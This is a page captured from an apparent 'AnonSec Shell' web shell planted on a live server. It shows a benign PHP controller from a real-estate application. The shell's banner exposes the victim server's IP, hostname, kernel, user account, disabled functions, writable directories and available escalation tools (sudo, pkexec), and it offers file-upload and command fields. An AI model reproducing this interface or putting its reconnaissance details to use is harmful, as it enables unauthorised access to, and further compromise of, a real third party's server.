AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/module_imobles/controllers/DwvController.php
<?php

include_once "Controller.php";

include_once __DIR__ . "/../helpers/DWVHelper.php";

class DWVController extends Controller {
    
    private $DWVHelper;

    public function __construct($ui, $_L, $config, $_pd = null) 
    {
        @ini_set('memory_limit', '4095M');
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        
        parent::__construct($ui, $_L, $config, $_pd);

        $this->DWVHelper = new DWVHelper();
    }

    public function matchEnterprises(){
        $this->DWVHelper->matchEnterprises();
    }

    public function getAllStatus(){
        $this->DWVHelper->getAllStatus();
    }

    public function updatePrices(){
        $enterpriseID = null;
        $printOnPage = false;
        if (!empty($this->routes[3]) || is_numeric($this->routes[3])) {
            $enterpriseID = $this->routes[3];
            $printOnPage = true;
        }       

        $this->DWVHelper->updatePrices($enterpriseID, $printOnPage);
    }

    public function listDWVEnterpriseUnits(){
        if (empty($this->routes[3]) || !is_numeric($this->routes[3])) {
            die($this->_L['Id_Required']);
        }
        $enterpriseID = $this->routes[3];
        $this->DWVHelper->listDWVEnterpriseUnits($enterpriseID);
    }

    public function apiQueries(){
        $json = "";
        $filter = array();

        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
            $filter['search_method'] = filter_var(_post('search_method'), FILTER_SANITIZE_STRING);
            $filter['search_parameter'] = filter_var(_post('search_parameter'), FILTER_SANITIZE_STRING);
            $_SESSION['filter']['module_imobles/DWV/apiQueries'] = $filter;

            switch ($filter['search_method']) {
                case 'searchCitiesFromState':
                    $json = $this->DWVHelper->getCitiesFromState($filter['search_parameter']);
                    break;
                case 'searchEnterprisesByCityID':
                    $json = $this->DWVHelper->getEnterprisesFromCity($filter['search_parameter']);
                    break;
                case 'searchEnterpriseByDWVID':
                    $json = $this->DWVHelper->getEnterpriseById($filter['search_parameter']);
                    break;
                // case 'searchByEnterpriseDWVID':
                //     $json = $this->DWVHelper->getEnterpriseJSONByID($filter['search_parameter']);
                //     break;
                // case 'searchByStateWithDetails':
                //     $enterprises = $this->DWVHelper->getEnterprisesDetailsJSONFromState($filter['search_parameter']);
                //     // Salvo em arquivo por causa do conteúdo grande.
                //     $str = json_encode($enterprises, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE);
                //     header('Content-Disposition: attachment; filename="empreendimentos.json"');
                //     header('Content-type: application/json');
                //     header('Content-Length: ' . strlen($str));
                //     header('Connection: close');
                //     echo $str;
                //     break;
                default:
                    # code...
                    break;
            }

            if(!empty($json)){
                header('Content-Type: application/json');
                $json = json_encode($json, JSON_PRETTY_PRINT|JSON_UNESCAPED_UNICODE);
                echo $json;
                die;
            } else {
                $json = "Nenhum resultado encontrado.";
            }
        }

        $this->ui->assign('json', $json);
        $this->ui->assign('filter', $filter);
        $this->ui->assign('_include', 'dwv/apiQueries');
        $this->ui->display('wrapper.tpl');
    }

}

Anon7 - 2022
AnonSec Team